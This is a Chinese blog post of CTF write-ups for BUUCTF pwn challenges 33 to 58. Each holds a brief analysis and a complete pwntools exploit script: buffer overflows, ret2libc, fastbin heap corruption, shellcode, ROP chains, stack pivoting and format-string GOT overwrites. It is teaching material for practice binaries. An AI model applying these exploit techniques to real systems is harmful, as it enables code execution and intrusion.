pwn入门-buu第二页题解(32道)(持续更新中)

buu第二页题解(32道) 

buu三十三题(wustctf2020_getshell)

可以栈溢出,又有shell后门函数,相信哪怕不看我的exp一分钟也能写出来吧

exp:

点击查看代码

from pwn import *
#p=process("./buu33")
p=remote("node5.buuoj.cn",26222)
shell=0x0804851B
payload=b'a'*(0x18+0x4)+p32(shell)
p.send(payload)
p.interactive()

buu三十四题(babyheap_0ctf_2017)

没想到这么快就上堆题目了,之前写的时候没写出来,现在补上。

菜单堆题,保护全开,看create和free函数(这里的函数但是我自己用n改函数命名的,实际上没有这个函数名字)。

这里可以自己定义堆块的大小(最大为0x1000)。

可以看到这里在free的时候把指针清空了,所以并没有uaf漏洞,其他地方找找看

看到一个类似于edit功能的函数,有趣的是,往已经申请的堆块里面写入多少字节是由我们自己来决定的,OK,堆溢出漏洞。接下来按招流程走。

1泄露libc_ base->。

2->修改fd。

3->写入__malloc_hook。3

4->往__malloc_hook里面写one_gadget(可能有的师傅连chunk都不知道是什么,这样的话建议先去学一下堆的基础知识和uaf)。那么开始攻击

(1):我们知道,edit里有堆溢出漏洞,那么我们先申请5个堆块

allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4

然后呢把1和2free掉,再利用chunk0当做跳板来把chunk2的fd指针指向chunk4

free(1)
free(2)
#gdb.attach(p,'b *$rebase(0xDCC)')
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

此时我们可以看到一个有趣的事情,明明我们没有free掉chunk4,但是由于我们把chunk2的fd指针改为了指向chunk4的,那么其实chunk4还没有被free掉,但是它竟然可以被分配出来。

不过由于glibc2.23的fastbin在分配时会对size进行检查,看我们要求的size和实际给的size是否会一样,如果不一样则报错退出,那么我们还需要再次通过堆溢出改掉chunk4的大小

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)  # 为了后面malloc做准备,绕过检查

然后把fastbin里面的chunk全部分配出来之后再改chunk4为原来的size,再free掉chunk4,这样的话就可以发现,此时有两个idx指向同一个chunk了,那么再dump2,即可获得libc_base。

.不过有些人可能查看堆发现啥都没有,这是怎么dump出来的,其实虽然堆里面什么都没有,但是堆管理器里面管理的结构体变了。有两个idx指向了同一个chunk

这里的结构体要在

这个anon里面找,我是一路查看内存找过来的()

再通过堆溢出把malloc_hook写入fastbin,再申请出来写one_gadget即可getshell

完整Exp:

#coding:utf-8
from pwn import *

p = process("./babyheap_0ctf_2017") 
libc=ELF("/home/love/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.log_level="debug"

def allocate(size):
  p.recvuntil('Command: ')
  p.sendline('1')
  p.recvuntil('Size: ')
  p.sendline(str(size))
 
def fill(idx,content):
  p.recvuntil('Command: ')
  p.sendline('2')
  p.recvuntil('Index: ')
  p.sendline(str(idx))
  p.recvuntil('Size: ')
  p.sendline(str(len(content)))
  p.recvuntil('Content: ')
  p.send(content)
 
def free(idx):
  p.recvuntil('Command: ')
  p.sendline('3')
  p.recvuntil('Index: ')
  p.sendline(str(idx))
 
def dump(idx):
  p.recvuntil('Command: ')
  p.sendline('4')
  p.recvuntil('Index: ')
  p.sendline(str(idx))
  p.recvline()
  return p.recvline()

allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4
free(1)
free(2)
#

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)

fill(0,payload)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)  # 为了后面malloc做准备,绕过检查


allocate(0x10)
allocate(0x10)
fill(1,'aaaabbbb')
fill(2,'bbbbcccc')

payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, b"\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

allocate(0x60)
free(4)
#gdb.attach(p,'b *$rebase(0xDCC)')
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

allocate(0x60)
allocate(0x60)

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)
 
allocate(1)
 

p.interactive()
 

如果你的打不通远程,换一下one_gadget试试

buu三十五题(jarvisoj_level3_x64)

一道很常规的ret2libc,直接丢exp:

点击查看代码

from pwn import * 
#context.log_level="debug" 
elf=ELF("buu35") 
#p=process("./buu35")
p=remote("node5.buuoj.cn",29288)
libc=ELF('libc-2.23.so_16_64')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
write_plt=elf.symbols["write"] 
write_got=elf.got["write"] 
vul_addr=0x4005E6
rdi=0x00000000004006b3  
rsi_r15=0x00000000004006b1
ret=0x0000000000400499

p.recvuntil(b"Input:\n") 
payload1=b'a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+b"junkjunk"+p64(write_plt)+p64(vul_addr) 
p.sendline(payload1) 
t=p.recv(8)
write_addr=u64(t[0:8]) 
 
offset=write_addr-libc.sym['write'] 
sys_addr=offset+libc.sym['system'] 
bin_addr=offset+next(libc.search(b"/bin/sh"))
payload2=b'a'*0x88+p64(rdi)+p64(bin_addr)+p64(sys_addr)+b"ret-addr"
p.sendline(payload2) 
p.interactive()

buu三十六题(mrctf2020_shellcode)


f5无法反汇编,什么?就算可以反汇编,你也不一定可以getshell把(doge),不过言归正传啊,这题虽然无法反汇编,但是你他丫的不会运行一下程序吗?如果没什么效果,那么接着在gdb里面动调一下啊

这里很明显啊,我输入了aaaaaaaabbbbbbbb,那么rax里面存放的就是我输入的内容,那然后后面又会call rax来执行rax里面存放的东西,那我要是在rax写一个shellcode是不是就提权了呢?
是的,没错,exp如下:

点击查看代码

from pwn import *
#p=process("./buu36")
p=remote("node5.buuoj.cn",25819)
context.arch="amd64"
payload=asm(shellcraft.amd64.sh())
#gdb.attach(p)
p.send(payload)
p.interactive()

buu三十七题(bjdctf_2020_babyrop2)

在main函数里面发现gitf和vuln函数,先点进gift函数看看,发现

有print(format),格式化字符串漏洞啊.那么有什么用呢?别急接着往下看

看到vuln函数可以栈溢出,哎,但是这个v2 = __readfsqword(0x28u)是什么意思呢?不知道师傅们有没有了解过,这是栈的一种保护措施,这就是canary.简单介绍一下,就是在rbp下方的8个字节放置的一个随机数,然后在函数返回时检查这个随机数有没有被篡改,如果被篡改了,那么程序将立刻终止,那么现在知道这个格式化字符串有什么用了吧.我们只要好好利用这个漏洞就可以把canary泄露出来,然后再填上去,就可以成功栈溢出了,那么后面的不过是简单的ret2libc,但是有一点值得要说的是,这里泄露出来的canary是str也就是字符型的,不能立马就打包发送,我们要先用int(canary,16)来把它转化为16进制的整型才可.思路到这就结束了,如果师傅们打不通的话可以试试多动调

exp:

点击查看代码

from pwn import * 
context.log_level="debug" 
elf=ELF("buu37") 
p=remote("node5.buuoj.cn",26874)
#p=process("./buu37")
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so_16_64') 
puts_plt=elf.symbols["puts"] 
puts_got=elf.got["puts"] 
volun_addr=0x400887
rdi=0x0000000000400993 
rsi_r15=0x00000000004006b1
ret=0x00000000004005f9 
#gdb.attach(p)
#pause()
p.recvuntil(b"I'll give u some gift to help u!\n")
p.sendline(b'%7$p') 

canary=p.recv(18)
go=int(canary, 16)
print((canary))
p.recvuntil(b"Pull up your sword and tell me u story!\n")
payload1=b'a'*0x18+p64(go)+b'a'*0x8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(volun_addr)
p.sendline(payload1) 

puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))

offset=puts_addr-libc.sym['puts'] 
sys_addr=offset+libc.sym['system'] 
bin_addr=offset+next(libc.search(b"/bin/sh"))
payload2=b'a'*0x18+p64(go)+b'a'*0x8+p64(rdi)+p64(bin_addr)+p64(ret)+p64(sys_addr)
p.recv()
p.send(payload2) 
p.interactive()

buu三十八题(pwnable_orw)

EXP:

                        

from pwn import *
context.log_level = 'debug'
context(os = 'linux', arch = 'i386')
#p = process('1')
p = remote('node5.buuoj.cn', 26656)
elf = ELF('orw')

buf_addr = 0x0804A100
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, buf_addr, 0x40)
shellcode += shellcraft.write(1, buf_addr, 0x40)

'''
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
'''

p.sendlineafter('Give my your shellcode:', asm(shellcode))
p.interactive()
print(p.recv())

buu三十九题(bjdctf_2020_router)

这里一看题目我还以为输入一个1再输入/bin/sh,就可以getshell了,结果是我想错了。不知道为什么在发送/bin/sh的时候为什么还要在前面加一个';'号

看学长是wp说是web版的命令执行,看不懂啊,也不知道咋解释,先上exp吧以后再说吧

点击查看代码

from pwn import *
context.log_level = 'debug'
context(os = 'linux', arch = 'i386')
#p = process('./buu39')
#gdb.attach(p)
p = remote("node5.buuoj.cn",26069)


p.sendline('1')
pause()
p.sendline(';/bin/sh')
p.interactive()

buu四十题(jarvisoj_level4)

ret2libc

点击查看代码

from pwn import *
#p=process("./buu40")
p=remote("node5.buuoj.cn",26676)
libc=ELF("libc-2.23.so_16_32")
e=ELF("./buu40")
write_glt=e.symbols["write"]
write_got=e.got["write"]
back=0x804844B

payload1=b'a'*(0x88+0x4)+p32(write_glt)+p32(back)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)
write_addr=u32(p.recv(4))#这里我是把收到的数据进行u32解包得到的数据,你们的可能会不一样
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=next(libc.search(b'/bin/sh')) 
re_sys=write_addr-libc_write+libc_system
re_sh=write_addr-libc_write+libc_sh
payload=b'a'*(0x88+0x4)+p32(re_sys)+b'aaaa'+p32(re_sh)
p.send(payload)
p.interactive()

buu四十一题(picoctf_2018_buffer overflow 1)

左边有个win函数点进去看看,

由代码易知,这个函数的功能是先搜索flag.txt文件,如果找到了则打印出来,如果没找到则退出程序,再看一下vuln函数里面有什么

有get函数又没有什么保护,那么给我狠狠的溢出啊

exp:

点击查看代码

from pwn import *
p=process("./buu41")
#p=remote("node5.buuoj.cn",29072)
elf=ELF("./buu41")

flag_addr=0x080485CB
payload=b'a'*(0x28+0x4)+p64(flag_addr)
p.send(payload)
p.interactive()

buu四十二题(inndy_rop)

静态编译的题目,而且又有gets函数,ret2syscall。这里可以使用ROPgadget --binary 二进制文件 --ropchain 来自动生成ret2syscall的exp,不过师傅们要注意缩进

点击查看代码

from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
p = process('./buu42')
#p = remote('node5.buuoj.cn', 26148)
elf = ELF('buu42')

def get_payload():
	p = b'a'*(0xc+0x4)

	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += b'/bin'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += b'//sh'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de769) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += p32(0xb) # pop eax ; ret
	p += pack('<I', 0x0806c943) # int 0x80
	return p
	
	
	
	
p.sendline(get_payload())
p.interactive()

buu四十三题(jarvisoj_test_your_memory)

main函数里没啥漏洞,点进去mem_test看看,发现__isoc99_scanf("%s", s);函数,这个函数有一个特性就是当它使用 %s 格式说明符来读取输入到字符数组 s 中,直到遇到空白字符(空格、制表符、换行符等)才会停止读取。这意味着函数会读取一个以空白字符结束的字符串。那么栈溢出不就来了吗

再看左边win_func保存了一个system的函数,但是没有传入参数,既然如此那么我们就可以调用它,然后给他传入参数。

刚好程序里有cat flag字符串,那么直接拿来用。但是要注意,p32(system)后面要接p32(main函数的地址),不然打印flag没回显。不过你也可以自己调用read函数写入/bin/sh到一个地址,然后传参

exp:

点击查看代码

from pwn import *
context.log_level = 'debug'
#context(os = 'linux', arch = 'i386')
p = process('./buu43')
#p = remote("node5.buuoj.cn",29330)
elf = ELF('buu43_')

system_addr = elf.symbols['system']
flag_addr = 0x080487E0
system = 0x080485BD
flag = 0x080487E0

payload = b'a'*23 + p32(system) + p32(0x08048678) + p32(flag)
#payload = b'a'*23 + p32(system) + p32(0) + p32(flag)
p.sendline(payload)
p.interactive()

buu四十四题([ZJCTF 2019]EasyHeap)

buu四十五题([Black Watch 入群题]PWN)

点进vuln函数一看就知道是栈溢出+栈迁移漏洞,将0x200多个字节读入s也就是bss段中,然后再读取buf。但是buf溢出的部分十分有限,只能刚好覆盖的rbp和retaddr,所以考虑栈溢出。
这里有没有后门函数,也没可读可写可执行段,所以我们应该选择ret2libc,在s中写入一段gadget然后跳转到s所在的bss段执行该代码。不过各位是不是有疑惑,你刚刚不是才说了没有可读可写可执行段吗?这么现在又要执行bss里面的内容,bss又不是可执行段。没错bss确实不是可执行段但是,里面存放的gadget是可执行的,还记得rop链攻击的原理吗?通过控制返回地址来执行程序执行流的变化,也即是说我们并不是在执行我们写入在bss段的代码,因为真正的代码不是写作bss段的,应该位于text段。我们只是劫持了程序控制流,然后让程序把我们写在bss数据作为指针,然后去解析它,去执行它所指向的代码。而该代码又是存在于text段的自然可执行了。不过竟然有师傅能问出这种问题,还是说明了师傅是个合格的pwn人。OK那我们接着讲,我们可以在s的地址里写入ret2libc的代码,然后执行它,泄露libc的基地址后再跳转回来,再用one_gadget来getshell,之前已经写过一道栈迁移的题目了,所以在这里就不多加赘述了
exp:

点击查看代码

from pwn import * 
#context.log_level="debug" 
elf=ELF("buu45") 
#p=process("./buu45")
p=remote("node5.buuoj.cn",25530)
libc=ELF('libc-2.23.so_16_32')
#gdb.attach(p)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
write_plt=elf.symbols["write"] 
write_got=elf.got["write"] 
read_plt=elf.sym["read"]
buf=0x0804A300
vul_addr=0x080484FB
rdi=0x00000000004006b3  
rsi_r15=0x00000000004006b1
leave=0x08048511
main=elf.sym["main"] 
payload1=b'a'*0x4+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

p.recvline()
p.send(payload1)
p.recvuntil(b"What do you want to say?")
payload2=b'a'*0x18+p32(buf)+p32(leave)
#pause()
p.send(payload2)
write_addr=u32(p.recv(4))
offset=write_addr-libc.sym['write'] 
#sys_addr=offset+libc.sym['system'] 
one_gadget=offset+0x3a80e
#bin_addr=offset+next(libc.search(b"/bin/sh"))
p.send(b'a'*0x4+p32(one_gadget))
p.recv()
payload3=b'a'*0x18+p32(buf)+p32(leave)
p.send(payload3)
p.interactive()

buu四十六题(hitcontraining_uaf)

buu四十七题(picoctf_2018_buffer overflow 2)

有get函数,又有打印flag的函数(只是要满足一点点条件而已)。buu第一页也有类似的题。直接丢exp

点击查看代码

from pwn import *
#elf=ELF("./buu47")
p=remote("node5.buuoj.cn",28164)
#p=process("./buu47")
#gdb.attach(p)

ret=0x08048196 

payload2=b'a'*(0x6C+0x4)+p32(0x080485CB)+p32(0)+p32(0xDEADBEEF) + p32(0xDEADC0DE)
p.sendline(payload2)


p.interactive()
print(p.recv())

buu四十八题(cmcc_simplerop)

又是一道静态编译的题目,相信那么现在应该能秒杀了,所以我就不详讲了,直接用ret2syscall。当然你要想尝试ropchain去写的话可能会发生一些不愉快的事情

点击查看代码

from pwn import *
p=process("./buu48")
edx_ecx_ebx=0x0806e850
eax=0x080bae06


int_80=0x080493e1
#gdb.attach(p)
p=remote("node5.buuoj.cn",29562)
elf=ELF("./buu48")

buf=0x80EAF90


payload = b'a'*0x20 + p32(elf.sym['read']) + p32(edx_ecx_ebx) + p32(0) + p32(buf) + p32(0x100)
payload += p32(eax) + p32(0xb) + p32(edx_ecx_ebx) + p32(0)*2 + p32(buf) + p32(int_80)


p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.recv()
p.interactive()

buu四十九题(wustctf2020_getshell_2)

刚好只能覆盖到retaddr,不过幸好有system函数和和sh\x00字符串,但是由于字数限制,我们只能覆盖0x8个字节。这样的话我们也用不了p32(system)+b'aaaa'+p32(sh_addr)。
这时候我们就需要用到call system指令了,那之前我们getshell时不也有call system指令吗为什么还要加b"aaaa",之前我们是跳转到elf.sym["system"]。也就是说他会对寄存器进行一些操作之后再call system。我猜里面的push ebp的操作才是导致要在system和sh_addr之间要加四个字节的原因(当然也只是我的猜测,如有不对,欢迎师傅们指出来)。所以这里直接call system的话就可以直接加system的参数了

exp:

点击查看代码

from pwn import *
elf=ELF("./buu49")
#p=process("./buu49")
p=remote("node5.buuoj.cn",27335)
#gdb.attach(p)
#pause()
0x08048529
ret=0x08048196 
sh_addr = next(elf.search(b'sh\x00'))
payload2=b'a'*(0x18+0x4)+p32(0x08048529)+p32(sh_addr)
p.sendline(payload2)


p.interactive()
print(p.recv())

buu五十题(mrctf2020_easyoverflow)

先跟着我来分析代码逻辑,其实这题也没啥考的,就看你代码能力行不行

首先把字符串"ju3t_@_f@k3_f1@g"放到v5里面。然后再用get函数读取v4,这题有canary,而且现在我们也不晓得该怎么泄露它,所以栈溢出还是有点困难。但是这个主函数里面有system("/bin/sh")了,想着怎么去调用。我们接着往下看,get后面会执行一个check函数,点进去看看他是干什么的

可以看到如果v3的长度等于i的话就可以返回1,然后在主函数中就可以getshell了,但是,问题在于v3的参数是不可控的,已经固定了的。别急我们看到这一行代码

if ( *(_BYTE *)(i + a1) != fake_flag[i] )

a1即为主函数里面的v5
a1的参数显然是可控的,这里给了一个指针指向a1的地址存放的内容,如果不等于fake_flag[i]里面的内容的话就会返回0,从而退出程序。反之如果我们传入fake_flag里面的内容作为a1
的内容的话,那么最后执行一次循环之后i++,所以最后一定可以让i最终等于v3然后返回1,从而getshell。那么我们不是控制不了v5的内容吗?因为我们get的函数是读入v4的。这种事情覆盖就行了
不用我再多说了上exp

点击查看代码

from pwn import *
p=process("./buu50")
#p=remote("node5.buuoj.cn",26562)
elf=ELF("./buu50")
payload=b'a'*0x30+b"n0t_r3@11y_f1@g"
p.sendline(payload)
p.interactive()

buu五十一题(bbys_tu_2016)

scanf函数导致的栈溢出我图都懒得放了,注意一下偏移就行。直接贴exp吧

点击查看代码

from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./buu51')
#p = remote('node4.buuoj.cn', 27816)
elf = ELF('./buu51')
#libc = ELF('buu/libc-2.23.so')

#p.recv()
payload = b'a'*0x18 + p32(elf.sym['printFlag'])

p.sendline(payload)

print(p.recv())

buu五十二题(xdctf2015_pwn200)

常规的ret2libc

点击查看代码

from pwn import *
p=process("./bof")
#p=remote("node5.buuoj.cn",26666)
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("libc-2.23.so_16_32")
e=ELF("./bof")
write_glt=e.symbols["write"]
write_got=e.got["write"]
back=0x80484D6
p.recvline()
payload1=b'a'*(0x6C+0x4)+p32(write_glt)+p32(back)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)

write_addr=u32(p.recv(0x4))
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=next(libc.search(b'/bin/sh')) 
re_sys=write_addr-libc_write+libc_system
re_sh=write_addr-libc_write+libc_sh
payload=b'a'*(0x6C+0x4)+p32(re_sys)+b'aaaa'+p32(re_sh)
p.send(payload)
p.interactive()

buu五十三题(ciscn_2019_s_4)

和buu二十六题(ciscn_2019_es_2)这道题是一样的,想看的可以去看我第一页的博客,我在那里写的比较详细。这里就直接贴exp了

点击查看代码

from pwn import *
p=process("./buu26")
elf=ELF("buu26")
#p=remote("node5.buuoj.cn",28370)
sys=elf.sym["system"]
gdb.attach(p)
leave=0x080485FD
payload=b'a'*36+b"fuck"
p.send(payload)
 
p.recvuntil(b"fuck") 
ebp=u32(p.recv(4))
print(hex(ebp))
p.recv()
payload2=b'a'*0x4+p32(sys)+p32(0)+p32(ebp-0x28)+b"/bin/sh\x00"+b'a'*16+p32(ebp-0x38)+p32(leave)
p.send(payload2)
 
p.interactive()

buu五十四题(wustctf2020_closed)

buu五十五题([ZJCTF 2019]Login)

c++题目脑袋代码看的云里雾里,看了我师傅的代码后总算搞明白一点了,这种c++的题目很依赖动调能力。

首先密码和账号都给我们了,也就是admin和2jctf_pa5sw0rd

但是这样输入之后程序发生错误了,emmm一开始自己弄了好久都没看懂,现在还是有点迷糊

可以看到最后我们已经进入了最后的函数但是,可能在跳转的时候出来问题,动态调试看看

可以看到执行到这里的时候是call rax但是,此时的rax里面的内容是0x4000b4 ◂— add eax, 0
跳转到这里怎么看都会出错把,OK,那么现在我们要思考的问题就是这个rax是不是可控的,那么我们看汇编

ok 可以看到rax来自[rbp+var_68],那么这个值是可控的吗?又是从哪里来的

在User::read_name函数里面找到了[rbp+var_68]但是它在我们输入的s的上面,显然溢出不了也覆盖不了。
于是现在是一点头绪都没有了,然后去看师傅的wp,跟着师傅的思路写出来了

根据这两张图可以看出来rax最后来自于[rbp+var_18]当然,我现在还不是很清楚这是怎么来的,师傅们先凑合着看把。而这个[rbp+var_18]显然是可以在User::read_name中被覆盖的,而且这个程序里面又有后门函数,那么我们就可以getshell了,exp,如下

点击查看代码

from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./login')
p = remote("node5.buuoj.cn",27006)
elf = ELF('./login')
#libc = ELF('buu/libc-2.23.so')

name = b'admin'
pasd = b'2jctf_pa5sw0rd'
pasd= pasd.ljust(0x48, b'\x00') + p32(0x400E88)

p.sendlineafter(b'Please enter username: ', name)
p.sendlineafter(b'Please enter password: ', pasd)
p.interactive()

buu五十六题(jarvisoj_level1)

这题应该可以用ret2shellocde来写,也可以用ret2libc来写,不过用ret2shellcode来写应该会更容易,这里我两种方法都写一下吧.
不过这里各位师傅注意一下,如果有ret2shellocde的话接受会出问题,所能打得通本地打不通远程,但是如果用ret2libc的就就都可以打通

ret2shellcode

点击查看代码

from pwn import *
#p=process("./level17")
p=remote("node5.buuoj.cn",25234)
#gdb.attach(p)
p.recvuntil(b"What's this:")
a=p.recv(10)
stack=int(a,16)
print(hex(stack))

payload=asm(shellcraft.sh())+b'a'*(0x58+0x8)+p32(stack)
print(hex(len(payload)))
p.send(payload)
p.interactive()
//这个远程是打不通的,只有本地打得通

ret2libc

点击查看代码

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')

pwn="./buu56"
#p=process(pwn)
p=remote("node5.buuoj.cn",27445)
elf=ELF(pwn)
#gdb.attach(p)
#pause()
#p.recvline()
payload=b'a'*0x8c+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(0x1)+p32(elf.got['read'])+p32(0x4)
p.send(payload)
read=u32(p.recv(4))
print(hex(read))
libc=ELF("libc-2.23.so_16_32")
libcbase=read-libc.sym['read']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0x8c+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()

buu五十七题(hitcontraining_magicheap)

buu五十八题(axb_2019_fmt32)

这里可以看到格式化字符串printf(format),但是,这个参数是可控的吗。我们read输入的值不是存放在s里面吗?别急这时候我们就要看到sprintf(format, "Repeater:%s\n", s);这个函数了。
可能有些见多识广的师傅会认出来这个函数的作用,在这里我还是讲一下,这个函数的作用简单来说就是把s里面的内容,插入到Repeater:后面,然后一起存放在format里面,所以说这里的printf参数还是可控的,但是要再提一嘴,这个sprintf函数在写入的字符串末尾必须加一个空字符(有时候程序会帮我们生成)。又因为这是32位的程序,我们可以轻松的将printf_got写入栈上然后打印出来,由于这里的输出有点多我们可以先再printf_got前面加一个stop来标志着后面就是打印got表了。然后泄露出got表之后,我们就可以得到libc基地址。最后也就是prinf改got表了,这里有工具可以该也就是pwntools自带的fmtstr_payload;但是再讲这个之前,我觉得很有必要讲一下原理。首先%k$n的原理不用我讲了吧,就是往格式化字符串的第k个参数写入成功打印的字符数,那么我们假如要把printf的got表修改为system的got表岂不是要用b"%"+system对应的整数+b"c%k$hhn",%c就是打印空格,如%11c%k$n就是在n前打印11个空格,那么我们是不是把11替换为system对应的整数就可以了呢?当然是不行,打印这么多空格会导致程序强行退出,那怎么办呢?要不你报警把我抓了得了。咳咳,回归正题。不知道师傅们有没有了解过hn和hhn这两个东西,n的话是写入一整个地址,hn中的h我猜是half的意思,那么顾名思义hn是写入一半的地址,hhn是写入四分之一的地址。那么我们来看下面这个例子

以下代码均为本题的exp节选出来的

运行以上exp

printf(format)执行前

可以看到此时printf的got表并没有什么变动,里面存放的是正常的got表,那么我们执行看一下

可以看到因为我在exp中用的是hn所以print_got的后两位被我篡改成了001d,如何是使用hhn的话,只会篡改最后一位位1d。
但是可能又会有师傅有疑问来了,你这里在c前面是11啊,就算加上p32(printf_got)和那五个A也达不到0x1d啊,师傅们别忘了还有Repeater:这个sprintf带来的参数也是要在最开始别打印出来的,所以说11+4+5+9=0x1d。
那么你这里只修改了printf_got的低位啊,高位怎么办,高位你怎么修改。我可以用(printf_got+1)啊,这样我们就是从高一位开始写了。OK了,那么这题差不多到这里思路就结束了,接下来就是一些细节了。不过师傅们可能还会有一个问题,就是这个system的函数是每一次运行完之后都会变的,我该怎么在每次运行时获得这个地址的各个部分呢。请看exp

点击查看代码

from pwn import *
#p=process("./axb_32")
p=remote("node5.buuoj.cn",28735)
elf=ELF("./axb_32")
libc=ELF("libc-2.23.so_16_32")
#gdb.attach(p,"b *0x08048741")
print(p.recv())
printf_got = elf.got['printf']
payload=b'a'+p32(printf_got) + b'stop' + b'%8$s'
p.send(payload)
p.recvuntil(b"stop")
got=(u32(p.recv(4)))
libc_base=got-libc.sym["printf"]
system=libc_base+libc.sym["system"]
print(hex(system))
a_=(hex(system)[-4:])
b_=(hex(system)[-8:-4])
a=int(a_,16)-22
b=int(b_,16)-22
payload = b'AAAAA'
payload += p32(printf_got)
payload += p32(printf_got+2)
payload += b'%'
payload += str(a).encode()
payload += b'c%9$hn'
payload += b'%'
payload += str(b-a).encode()
payload += b'c%10$hn'
p.send(payload.ljust(0x20,b"a"))
p.send(";/bin/sh\x00")
p.interactive()

  • 26
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值